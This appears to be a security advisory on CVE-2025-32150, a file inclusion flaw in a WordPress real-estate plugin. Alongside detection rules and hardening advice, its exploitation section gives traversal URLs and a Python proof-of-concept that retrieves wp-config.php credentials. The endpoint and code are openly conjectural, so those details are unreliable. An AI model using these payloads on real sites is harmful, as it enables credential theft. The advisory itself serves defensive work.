CVE-2025-32150

Executive Summary

CVE-2025-32150 is a critical PHP Local File Inclusion (LFI) vulnerability in the Real Estate Manager WordPress plugin (versions <= 7.3) developed by Rameez Iqbal. The flaw stems from improper control of filenames used in include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to exposure of sensitive data such as wp-config.php, system files, or logs. The vulnerability has a CVSS score of 7.5 (High) and currently has no known public exploit or patch. As a WordPress ecosystem issue, it affects sites running the plugin and requires immediate mitigation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No known supply chain compromise has been reported, but the lack of a patch increases risk for all installations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – impact confined to the vulnerable component.
• Confidentiality (C): High (H) – full file read possible.
• Integrity (I): None (N) – no file modification.
• Availability (A): None (N) – no denial of service.

Threat Level: High. The low complexity and lack of authentication make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability exists in the plugin's file inclusion logic, likely within a shortcode or AJAX handler that accepts user-supplied filenames without proper sanitization. The include() or require() PHP function is called with a path derived from user input, allowing directory traversal sequences (e.g., ../../) to escape the intended directory.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to an include statement. This allows an attacker to specify arbitrary file paths, leading to LFI.

Attack Vector: An unauthenticated HTTP request to a vulnerable endpoint (e.g., wp-admin/admin-ajax.php or a custom page) with a crafted filename parameter.

Impact: An attacker can read sensitive files such as:

• wp-config.php (database credentials, salts)
• /etc/passwd (system user enumeration)
• Log files (e.g., /var/log/apache2/access.log for log poisoning)
• PHP source code (if allow_url_include is off, LFI is the primary vector)

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code (conceptual)
$file = $_GET['filename'];
include( $file . '.php' );

A patched version would implement strict validation:

// Patched code (conceptual)
$allowed_files = array('list', 'detail', 'search');
$file = basename( $_GET['filename'] );
if ( in_array( $file, $allowed_files ) ) {
    include( plugin_dir_path( __FILE__ ) . 'views/' . $file . '.php' );
} else {
    // Error handling
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Real Estate Manager plugin <= 7.3.
• Knowledge of the vulnerable endpoint (e.g., ?page=real-estate-manager&filename=...).

Exploit Steps:

1. Identify the vulnerable parameter (e.g., filename).
2. Craft a payload to read wp-config.php:

   http://target.com/wp-admin/admin-ajax.php?action=rem_ajax&filename=../../../wp-config
   

3. Use directory traversal to read system files:

   http://target.com/?page=real-estate-manager&filename=../../../../etc/passwd
   

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com"
payload = "/wp-admin/admin-ajax.php?action=rem_ajax&filename=../../../wp-config"
response = requests.get(target + payload)
if "DB_NAME" in response.text:
    print("[+] wp-config.php retrieved successfully")
    print(response.text)
else:
    print("[-] Exploit failed")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for directory traversal patterns (e.g., ../, ..\\).
• Look for requests to plugin-specific endpoints with suspicious filename parameters.
• Use WAF rules to block path traversal sequences.

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
• Restrict file permissions on sensitive files (e.g., wp-config.php should be 640).
• Use a security plugin (e.g., Wordfence) to monitor file inclusion attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing filename=../ or filename=..\\ in query strings.
  • Requests to admin-ajax.php with action parameters like rem_ajax or real_estate_manager.
  • Outbound connections from the web server to unknown IPs (if log poisoning is used).

• File System IOCs:

  • Unexpected access to /etc/passwd, wp-config.php, or other sensitive files.
  • Modified log files (e.g., Apache access logs) containing PHP code.

• Log IOCs:

  • Web server logs showing 200 responses to LFI payloads.
  • PHP error logs with warnings about failed includes.

Detection Engineering

YARA Rule

rule CVE_2025_32150_LFI_Detect {
    meta:
        description = "Detects LFI attempts targeting Real Estate Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32150"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $param1 = "filename="
        $param2 = "file="
        $plugin_path = "real-estate-manager"
    condition:
        any of ($traversal*) and any of ($param*) and $plugin_path
}

Sigma Rule

title: CVE-2025-32150 Real Estate Manager LFI Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects directory traversal attempts in HTTP requests targeting Real Estate Manager plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'filename=../'
            - 'filename=..\\'
            - 'file=../'
            - 'file=..\\'
        cs-uri-stem|contains:
            - '/wp-admin/admin-ajax.php'
            - '/real-estate-manager'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-32150 Real Estate Manager LFI Attempt";
    flow:to_server,established;
    content:"filename="; http_uri;
    content:"../"; http_uri;
    content:"real-estate-manager"; http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-32150;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Remove or deactivate Real Estate Manager until a patch is released.
2. Apply virtual patching – Use a WAF to block requests containing filename=../ or similar patterns.
3. Monitor logs – Review web server and application logs for signs of exploitation.

Long-term Fix:

• The vendor must release a patched version that implements proper input validation and whitelisting of allowed files.
• Consider migrating to an alternative real estate management plugin with active security support.

Workaround:

• If the plugin cannot be disabled, modify the vulnerable PHP file to add input sanitization (e.g., using basename() and a whitelist).

Valters IT
DevSecOps & Cyber Threat Intelligence